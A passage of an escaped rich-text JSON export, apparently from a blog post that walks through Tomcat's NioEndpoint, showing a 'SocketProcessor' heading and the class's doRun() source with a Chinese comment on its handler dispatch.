#34;block&#34;,&#34;id&#34;:&#34;KJgM-1659061538995&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0BDI-1659061538993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;SocketProcessor&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HRal-1659063222456&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DxaA-1659063222317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BpE7-1659063222316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected class SocketProcessor extends SocketProcessorBase&lt;NioChannel&gt;{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xyCT-1659063222319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wRgq-1659063222318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public SocketProcessor(SocketWrapperBase&lt;NioChannel&gt;socketWrapper, SocketEvent event) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xMAE-1659063222321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4R0E-1659063222320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super(socketWrapper, event);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vFV6-1659063222323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nI8I-1659063222322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynIr-1659063222325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W4ft-1659063222324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XUp3-1659063222327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jHR-1659063222326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected void doRun() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;32sk-1659063222329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zIZJ-1659063222328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        NioChannel socket = (NioChannel)this.socketWrapper.getSocket();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GFHu-1659063222332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZAnl-1659063222331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        SelectionKey key = socket.getIOChannel().keyFor(socket.getPoller().getSelector());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w5h7-1659063222334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JWXR-1659063222333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ytoq-1659063222336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iaLL-1659063222335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mwfw-1659063222338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS6j-1659063222337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int handshake = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BxlZ-1659063222340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lame-1659063222339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kCEZ-1659063222342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jQ1-1659063222341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2V98-1659063222344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DTLB-1659063222343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (key != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uItF-1659063222346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;67MX-1659063222345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (socket.isHandshakeComplete()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sXnj-1659063222348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KLnJ-1659063222347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        handshake = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5bIw-1659063222350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fvfo-1659063222349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else if (this.event != SocketEvent.STOP &amp;&amp; this.event != SocketEvent.DISCONNECT &amp;&amp; this.event != SocketEvent.ERROR) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zFin-1659063222352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vRBK-1659063222351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        handshake = socket.handshake(key.isReadable(), key.isWritable());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fvGY-1659063222354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NAOH-1659063222353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.event = SocketEvent.OPEN_READ;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yb39-1659063222356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tB6w-1659063222355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3bHY-1659063222358&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zlr8-1659063222357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        handshake = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M4Xg-1659063222360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jYHi-1659063222359&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3V85-1659063222362&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rv9S-1659063222361&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8KXy-1659063222364&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i8ZJ-1659063222363&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3y99-1659063222366&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hc1A-1659063222365&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                handshake = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8W88-1659063222368&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xv8A-1659063222367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (NioEndpoint.log.isDebugEnabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rPI9-1659063222370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gdNc-1659063222369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    NioEndpoint.log.debug(\&#34;Error during SSL handshake\&#34;, var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CxdY-1659063222372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X2dE-1659063222371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;inOH-1659063222374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;psiy-1659063222373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (CancelledKeyException var13) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8SPJ-1659063222376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YuJ-1659063222375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                handshake = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cOq7-1659063222378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nuIt-1659063222377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LECh-1659063222380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GEY5-1659063222379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VKJA-1659063222382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QPRd-1659063222381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (handshake == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L2LR-1659063222384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aHlV-1659063222383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                SocketState state = SocketState.OPEN;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AsBV-1659063222386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRoX-1659063222385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (this.event == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CB8j-1659063222388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SUiM-1659063222387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    state = NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.OPEN_READ);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ti4N-1659063222390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YG3A-1659063222389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZkfS-1659063222392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WIzU-1659063222391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);//关键在于调用对应的handler来执行这两个process方法。&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TnZe-1659063222394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KObr-1659063222393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;htdP-1659063222396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mIBK-1659063222395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ixoY-1659063222398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uyv9-1659063222397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (state == SocketState.CLOSED) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LHKy-1659063222401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3n26-1659063222400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    NioEndpoint.this.close(socket, key);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zp5h-1659063222403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BpnG-1659063222402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6MLv-1659063222405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wMts-1659063222404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (handshake == -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cpv4-1659063222407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wTca-1659063222406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.CONNECT_FAIL);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z7bs-1659063222409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wgHU-1659063222408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.this.close(socket, key);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YjxK-1659063222411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5KR3-1659063222410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (handshake == 1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bxmU-1659063222413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9OC2-1659063222412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.socketWrapper.registerReadInterest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ZdU-1659063222415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PzoB-1659063222414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else if (handshake == 4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gORn-1659063222417&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VztA-1659063222416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.socketWrapper.registerWriteInterest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dtzj-1659063222419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KxYy-1659063222418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mqMa-1659063222421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uFHG-1659063222420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (CancelledKeyException var14) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6jTZ-1659063222423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pqvk-1659063222422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            socket.getPoller().cancelledKey(key);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fLSW-1659063222425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wE0-1659063222424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (VirtualMachineError var15) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lh3m-1659063222427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eITb-1659063222426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ExceptionUtils.handleThrowable(var15);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8D5D-1659063222429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qENH-1659063222428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Throwable var16) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B58L-1659063222431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TiM1-1659063222430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            NioEndpoint.log.error(\&#34;\&#34;, var16);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xr0g-1659063222433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3hF3-1659063222432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            socket.getPoller().cancelledKey(key);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tVPq-1659063222435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dtyt-1659063222434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pMEE-1659063222437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQP-1659063222436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.socketWrapper = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu3Z-1659063222439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;98M4-1659063222438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.event = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQze-1659063222441&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bl02-1659063222440&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (NioEndpoint.this.running &amp;&amp; !NioEndpoint.this.paused) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XGe4-1659063222443&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wCy0-1659063222442&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                NioEndpoint.this.processorCache.push(this);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SUNq-1659063222445&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjUv-1659063222444&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fAer-1659063222447&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x0Xb-1659063222446&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k0BR-1659063222449&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8Jf-1659063222448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qMEP-1659063222451&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XwtF-1659063222450&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CRpb-1659063222453&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ardA-1659063222452&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    